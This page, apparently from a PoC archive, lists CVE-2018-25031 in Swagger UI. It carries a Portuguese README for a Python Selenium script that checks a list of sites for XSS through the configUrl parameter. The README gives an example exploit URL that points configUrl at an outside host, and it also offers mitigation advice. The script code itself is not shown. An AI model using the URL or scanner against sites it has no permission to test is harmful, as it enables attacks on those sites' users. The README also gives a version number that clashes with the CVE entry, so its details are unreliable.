Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1310 CNY

100%

CVE-2018-25031 PoC — Swagger UI 输入验证错误漏洞

Source
Associated Vulnerability
Title:Swagger UI 输入验证错误漏洞 (CVE-2018-25031)
Description:Swagger UI 4.1.2 and earlier could allow a remote attacker to conduct spoofing attacks. By persuading a victim to open a crafted URL, an attacker could exploit this vulnerability to display remote OpenAPI definitions. Note: This was originally claimed to be resolved in 4.1.3. However, third parties have indicated this is not resolved in 4.1.3 and even occurs in that version and possibly others.
Readme
# POC de Cross-Site Scripting no Swagger UI: CVE-2018-25031 utilizando Selenium em Python

Este repositório contém um script em Python que demonstra uma prova de conceito (POC) de uma vulnerabilidade de Cross-Site Scripting (XSS) no Swagger UI, usando a biblioteca Selenium. O objetivo dessa POC é identificar sites que são suscetíveis a essa vulnerabilidade por meio da exploração do Swagger UI com uma carga maliciosa.


## Vulnerabilidade de Cross-Site Scripting (XSS) no Swagger UI

O Swagger UI é uma ferramenta amplamente utilizada para visualizar e interagir com APIs por meio de uma interface de usuário amigável. No entanto, na versão 2.9.2, foi identificada uma vulnerabilidade de Cross-Site Scripting (XSS) que poderia permitir que um atacante injetasse código JavaScript malicioso em páginas Swagger UI carregadas.

O XSS ocorre quando um aplicativo não valida adequadamente os dados inseridos pelo usuário antes de exibi-los na página. Nesse caso, um invasor pode explorar a vulnerabilidade inserindo um código JavaScript malicioso em campos de entrada do Swagger UI, que será executado no contexto do navegador de outros usuários que acessam a mesma página comprometida.

![Exemplo de XSS no Swagger UI](vuln.jpeg)

**Nota:** A imagem acima ilustra um exemplo de como um atacante pode inserir um payload de XSS no Swagger UI, aproveitando-se de uma falha de segurança nas versões afetadas.

### Mitigação e Solução

A maneira mais eficaz de mitigar essa vulnerabilidade é garantir que o Swagger UI esteja atualizado para uma versão que não seja afetada. Verifique as versões mais recentes do Swagger UI e mantenha-o sempre atualizado.

Para desenvolvedores que desejam usar ou personalizar o Swagger UI, é fundamental realizar a validação adequada dos dados de entrada antes de exibi-los na interface. Evitar a renderização direta de HTML ou JavaScript inseridos pelos usuários é uma prática recomendada para evitar vulnerabilidades de XSS.

## Exemplo de Exploração

Aqui está um exemplo simplificado de como a vulnerabilidade pode ser explorada usando o Swagger UI:

1. O atacante acessa um Swagger UI vulnerável.
2. O atacante identifica um campo de entrada onde pode inserir texto.
3. O atacante injeta um payload de XSS na url, por exemplo: http://127.0.0.1:8080/swagger-ui.html?configUrl=https://xss.smarpo.com/test.json
4. Quando outros usuários acessam a mesma página comprometida, o payload de XSS é executado em seus navegadores, exibindo um alerta com a mensagem "Vulnerabilidade de XSS".

## Aviso

Esta seção destina-se apenas a fins educacionais e informativos. Não incentive ou participe de atividades maliciosas ou ilegais. Sempre siga as práticas de divulgação responsável ao relatar vulnerabilidades.

## Pré-requisitos

Certifique-se de ter os seguintes pré-requisitos instalados antes de executar o script:

- Python: Certifique-se de ter o Python instalado em sua máquina.
- Selenium: Instale a biblioteca Selenium usando o seguinte comando:
  ```
  pip install selenium
  ```
- ChromeDriver: Certifique-se de ter o ChromeDriver compatível instalado. Você pode baixar o ChromeDriver a partir do site oficial do Selenium ou usar um gerenciador de pacotes, como o WebDriver Manager.

## Como usar o script

1. Clone ou faça o download deste repositório em sua máquina.

2. Edite o arquivo `sites_para_testar.txt` e insira os URLs dos sites que você deseja testar, um por linha.

3. Abra um terminal na pasta do repositório e execute o script usando o seguinte comando:
   ```
   python main.py
   ```

4. O script irá percorrer os sites listados no arquivo `sites_para_testar.txt`, acessar suas URLs de Swagger UI e verificar se há um alerta de XSS detectado. Os resultados serão registrados em três arquivos: `valido.txt` para URLs potencialmente vulneráveis, `talvezvalido.txt` para URLs que podem ser vulneráveis e `naovalido.txt` para URLs não vulneráveis.

## Entendendo o Script

O script utiliza a biblioteca Selenium para automatizar a interação com o navegador Chrome. Ele carrega as URLs do Swagger UI configuradas no arquivo `sites_para_testar.txt`, adiciona uma carga maliciosa ao parâmetro `configUrl` e verifica se um alerta de XSS é acionado.

O script faz uso das seguintes etapas:

1. Importa as bibliotecas necessárias do Selenium e outras dependências.

2. Configura as opções do ChromeDriver para ignorar erros de SSL e certificado.

3. Inicializa o driver do Chrome.

4. Lê os sites a serem testados do arquivo `sites_para_testar.txt` e itera sobre eles.

5. Abre cada URL do Swagger UI com a carga maliciosa adicionada.

6. Tenta verificar se um alerta de XSS é acionado.

7. Com base no resultado da verificação, registra as URLs nos arquivos `valido.txt`, `talvezvalido.txt` ou `naovalido.txt`.

8. Encerra o driver do Chrome.

## Aviso Legal

Este script é fornecido apenas para fins educacionais e de conscientização sobre segurança cibernética. Não deve ser usado para fins maliciosos ou ilegais. O autor não se responsabiliza por qualquer uso indevido deste script ou por quaisquer danos decorrentes do seu uso.

## Contribuição

Se você encontrar alguma maneira de melhorar este script ou tiver sugestões, sinta-se à vontade para criar uma solicitação de pull.

## Licença

Este projeto está licenciado sob a [Licença MIT](LICENSE).
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →